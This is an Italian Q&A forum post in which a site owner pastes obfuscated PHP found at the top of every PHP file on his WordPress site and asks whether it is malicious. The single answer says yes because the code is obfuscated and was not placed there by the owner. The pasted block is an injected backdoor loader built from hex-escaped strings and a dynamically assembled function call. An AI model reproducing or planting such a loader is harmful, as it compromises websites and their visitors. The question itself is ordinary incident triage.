codice malware in WordPress?

1

Sono abbastanza sicuro di avere codice malware nel nostro sito Web WordPress - Ecco il codice in questione, si trova nella parte superiore di ogni file php nel sito Web;

{ $ua=strtolower($_SERVER["\x484\x540\x5f5\x535\x527\x417\x456\x54"]); if ((! strstr($ua,"\x6d3\x695")) && (! strstr($ua,"\x726\x3a\x31")) && (! strstr($ua,"\x616\x642\x6f1\x64")) && (! strstr($ua,"\x6d7\x621\x6c5")) && (! strstr($ua,"\x690\x687\x6e5")) && (! strstr($ua,"\x690\x614")) && (! strstr($ua,"\x6f0\x652\x61\x6d"))) $GLOBALS["\x616\x756\x61"]=1; } ?><?php $asxjhvtsgx = '2]y76]62]y3:]84#-!OVMM*<85csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x57825c:>1<%x5c%x7825b:>1<!gps)%x5c%x78x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5x7825tjw!>!#]y84]275#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x787825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*24%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%xw%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!MFT%x5c%x7860QIQ&f_UTPI%x5c1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%xy74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tp5fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:*61"])))) { $GLOBALS["%x61%1568]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuf%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]57]y72]265]y39]271]y83]256]y7CW&)7gj6<.[A%x5c%x7827&6<%;!opjudovg}k~~9{d%x5c%x782<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%2]48y]#>m%x5c%x7825:|:78Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%c%x78246767~6<Cw6<pd%x5c%x7825w67827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyx5c%x7825)utjm!|!*5!%x5c%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x782]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]2bek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x78x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7y81]273]y76]258]y6g]273]y76]27%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x5c%x782272qj%x5c%x7825)7gj6825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]25j:>1<%x5c%x7825j:=tj{fpg)%)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%p!*#ojneb#-*f%x5c%x7825)sf%x5825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5273]y76]271]y7d]252]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]8c%x785cSFWSFT%x5c%x7860%x5c%x782782f#%x5c%x782f},;#-#}+;%x5!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujoj824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%UUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323z*#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssbdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%urn chr(ord($n)-1);} @error_report7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]21c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y4tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5q%x5c%x7825>2q%x5c%x7825<#g6R85,825!-#2#%x5c%x782f#%x5c*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x75%156%x61"]=1; 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$hfrdbrahhc = explode(chr((163-119)),'7137,58,9360,37,802,29,3201,40,2709,34,7396,41,4301,46,9397,54,7479,31,1719,63,9261,61,4596,47,1192,32,6016,57,1082,42,9842,28,4760,21,9632,38,6582,27,1224,55,6339,36,4182,65,7227,28,1948,64,7510,61,4453,48,7571,51,8058,62,7919,27,3583,58,1782,28,9034,52,3339,45,2796,46,648,65,8808,44,5161,35,9755,60,9506,63,8755,31,6208,24,4088,23,9216,45,6473,46,6073,52,8518,65,4021,39,6125,57,2369,34,3273,37,1030,26,8786,22,4781,40,6804,48,7073,64,883,63,7946,47,8277,54,7437,42,5196,25,8978,56,4643,54,3719,61,713,38,7867,30,9907,39,3445,66,6852,50,9186,30,7048,25,1279,25,10048,58,9968,47,5778,36,5886,69,4060,28,195,54,8371,36,3811,21,3384,38,548,47,4347,23,3832,47,4501,36,1601,49,4137,45,2592,63,452,69,9451,55,2528,64,4859,51,2054,29,5042,25,5067,68,6719,29,521,27,4247,54,2468,60,1472,68,9139,47,2012,42,7288,41,3919,65,2203,32,5479,42,2235,27,3692,27,4949,58,1056,26,9815,27,8331,40,3780,31,751,51,5135,26,8668,25,3641,51,6285,54,2262,53,7897,22,301,64,411,41,9322,38,9670,25,3030,32,8162,59,6783,21,6519,63,9946,22,5521,28,5955,61,5657,62,3062,23,9695,32,1902,46,6996,52,2135,21,5221,38,249,20,1403,69,4910,39,6609,31,6232,53,2977,53,2898,40,5007,35,9870,37,6670,49,8908,70,8603,65,946,57,1124,22,3085,65,1540,61,1689,30,4537,59,3422,23,4421,32,1341,62,2938,39,5719,59,8448,70,2403,65,3511,43,5849,37,9727,28,4370,51,10015,33,7255,33,6937,59,3310,29,2743,53,3150,51,4821,38,2083,52,5814,35,7747,53,1146,46,8852,31,8693,62,6640,30,7622,69,8221,56,5391,62,5606,51,4697,63,6748,35,3984,37,2315,54,5549,57,6902,35,5319,39,1810,64,7329,67,7691,56,5358,33,5453,26,9086,53,8120,42,2842,56,7800,67,8583,20,24,64,1304,37,7195,32,158,37,1874,28,1650,39,3554,29,9569,63,6182,26,3879,40,88,70,4111,26,8883,25,2655,54,3241,32,6375,66,8407,41,5259,60,269,32,365,46,7993,65,595,53,1003,27,831,52,2156,47,0,24,6441,32'); $kactddylvg=substr($asxjhvtsgx,(59690-49584),(38-31)); if (!function_exists('fjfpxissva')) { function fjfpxissva($wrevsiuhaw, $fwamswycvq) { $muhwpwyakd = NULL; for($fbryohbneh=0;$fbryohbneh<(sizeof($wrevsiuhaw)/2);$fbryohbneh++) { $muhwpwyakd .= substr($fwamswycvq, $wrevsiuhaw[($fbryohbneh*2)],$wrevsiuhaw[($fbryohbneh*2)+1]); } return $muhwpwyakd; };} $ejucbogwei="\x20\x2a\x673\x683\x637\x780\x6b4\x20\x2f\x656\x614\x283\x742\x5f2\x650\x6c1\x635\x283\x682\x28\x31\x36\x39\x29\x2c\x630\x72\x28\x39\x2d\x30\x29\x2c\x662\x660\x781\x733\x761\x28\x686\x724\x622\x610\x683\x2c\x613\x782\x686\x743\x670\x29\x29\x20\x2a\x742\x777\x662\x784\x6c6\x20\x2f"; $wyrycvdopb=substr($asxjhvtsgx,(49319-39206),(43-31)); $wyrycvdopb($kactddylvg, $ejucbogwei, NULL); $wyrycvdopb=$ejucbogwei; $wyrycvdopb=(597-476); $asxjhvtsgx=$wyrycvdopb-1; ?>

Vorrei solo verificare se si tratta di codice dannoso o meno. Se sì, a cosa è destinato?

(Principalmente mi piacerebbe solo una risposta affermativa o negativa al fatto che sia dannoso o meno, così posso prendere le misure appropriate)

Grazie in anticipo

    
posta Sam Bonell 20.07.2015 - 15:24
fonte

1 risposta

5

Vediamo cosa sappiamo di questo codice:

  1. È offuscato
  2. Non l'hai messo lì

Quindi è dannoso oltre ogni ragionevole dubbio.

    
risposta data 20.07.2015 - 16:50
fonte

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